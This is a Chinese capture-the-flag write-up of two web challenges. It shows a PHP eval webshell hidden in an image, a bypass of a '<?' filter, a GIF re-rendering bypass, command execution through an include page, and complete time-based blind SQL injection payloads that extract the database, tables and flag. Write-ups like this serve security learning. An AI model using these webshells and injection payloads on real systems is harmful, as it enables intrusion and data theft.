zk十月赛

easy-upload

打开题目看见文件上传的页面,首先想到的是上传木马连菜刀。上传任意文件得到提示:文件只能是gif、jpg、png格式,所以上传一个图片文件,使用DOS命令在图片里插入一句话木马
1

1
2
一句话木马:
<?php @eval($_POST['pass']);?>

再次上传,得到提示不能有”<?”
2
使用

1
2
3
<script language="php">
@eval($_POST['mc']);
</script>

绕过<?的限制,再次上传,上传成功,并得到上传后的文件名。

接着利用御剑进行爆破扫描,得到几个可利用的目录

1
2
3
./uploads/
./include.php
...

在./uploads/里找到了自己上传的图片
3
连接菜刀期待得到flag

然后,连不上。。。

在题目放了提示二次渲染之后,学习了一波关于二次渲染的知识,(在这里分享一波我们 温柔的!yang学长 的文章https://xz.aliyun.com/t/2657 太详细啦)
大致的看了关于二次渲染的知识后就开始尝试绕过,由于我的脑回路新奇吧加上没好好看学长这篇文章,我选择了上传jpg格式的图片[手动微笑],然后就开始了漫长的生成jpg图片马的过程,以及为了生成它漫长的安装php gd库的过程[再次微笑]

png和jpg格式的文件绕过二次渲染比较麻烦,其实我们可以选择上传gif,只需要下载上传后的文件跟下载前的文件进行比对,找到渲染前后没有变化的位置,然后将php代码写进去即可成功绕过

然后绕过之后,依然连不上菜刀hhhhhh

but代码执行不了可以构造命令执行

1
<script language=php>system("ls")</script>

post传参访问图片的包含路径(刚刚扫描到的路径./include.php)
4
看到一个,名为flag的文件,cat这个文件,得到flag
5

easy_sql

一道关于时间的盲注,过滤掉了一些字符
6
第一步爆数据库

1
2
3
1' union select * from (( select sleep(ascii(mid(database() from (1) for (1))) >119))A join (select 2)B join (select 6)C) #

一个字母一个字母的爆.....是不是有点菜了,得到数据库"web"

第二步爆表

1
2
3
1' union select * from (( select sleep(((ascii(mid((select group_concat(table_name) from information_schema.tables where table_schema regexp database()) from (1) for (1)))) < 97)/(1/5)))A join (select 2)B join (select 3)C) #

表名article

第三步爆字段

1
2
3
1' union select * from (( select sleep(((ascii(mid((select group_concat(column_name) from information_schema.columns where table_name regexp 'article') from (1) for (1)))) < 105)/(1/5)))A join (select 2)B join (select 3)C) #

得到id,username,flag...

第四步爆flag字段的数据

1
1' union select * from (( select sleep(((ascii(mid((select flag from article) from (1) for (1)))) <102)/(1/5)))A join (select 2)B join (select 3)C) #

得到flag